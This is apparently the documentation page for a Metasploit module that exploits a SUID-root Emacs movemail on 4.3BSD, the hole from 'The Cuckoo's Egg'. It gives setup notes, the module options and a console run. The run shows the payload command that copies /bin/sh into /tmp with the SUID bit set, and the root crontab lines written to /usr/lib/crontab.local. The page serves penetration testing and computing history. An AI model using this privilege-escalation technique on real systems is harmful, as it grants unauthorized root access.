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Vulnerable Application

Description

This module exploits a SUID installation of the Emacs movemail utility to run a command as root by writing to 4.3BSD's /usr/lib/crontab.local.

The vulnerability is documented in Cliff Stoll's book The Cuckoo's Egg.

Setup

A Docker environment for 4.3BSD on VAX is available at https://github.com/wvu/ye-olde-bsd.

For manual setup, please follow the Computer History Wiki's guide or Allen Garvin's guide if you're using Quasijarus.

Verification Steps

Follow Setup and Scenarios.

Targets

0

This uses /usr/lib/crontab.local to execute code.

Options

MOVEMAIL

Set this to the absolute path to the SUID-root movemail executable.

CMD

If your payload is cmd/unix/generic (suggested default), set this to the command you want to run as root. The provided default will create a SUID-root shell at /tmp/sh.

Scenarios

4.3BSD

msf5 > use exploit/unix/local/emacs_movemail
msf5 exploit(unix/local/emacs_movemail) > options

Module options (exploit/unix/local/emacs_movemail):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   MOVEMAIL  /etc/movemail    yes       Path to movemail
   SESSION                    yes       The session to run this module on.


Payload options (cmd/unix/generic):

   Name  Current Setting                       Required  Description
   ----  ---------------                       --------  -----------
   CMD   cp /bin/sh /tmp && chmod u+s /tmp/sh  yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   /usr/lib/crontab.local


msf5 exploit(unix/local/emacs_movemail) > set session -1
session => -1
msf5 exploit(unix/local/emacs_movemail) > run

[*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc
[-] Current shell is unknown
[*] $PATH is /bin:/usr/bin:/usr/ucb:/etc
[+] SUID-root /etc/movemail found
[*] Preparing crontab with payload
* * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh
* * * * * root rm -f /usr/lib/crontab.local
[*] Creating writable /usr/lib/crontab.local
[+] Writing crontab to /usr/lib/crontab.local
[!] Please wait at least one minute for effect
[*] Exploit completed, but no session was created.
msf5 exploit(unix/local/emacs_movemail) >